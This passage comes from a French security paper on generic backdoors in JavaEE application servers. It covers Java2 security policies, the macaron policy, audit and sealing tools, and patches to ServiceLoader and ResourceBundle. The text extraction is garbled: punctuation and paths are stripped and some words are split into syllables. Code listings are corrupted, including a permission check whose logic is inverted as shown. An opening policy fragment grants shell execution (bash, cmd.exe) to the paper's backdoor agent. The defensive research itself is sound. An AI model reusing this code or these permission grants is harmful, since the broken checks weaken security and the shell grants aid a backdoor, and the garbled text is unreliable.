javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

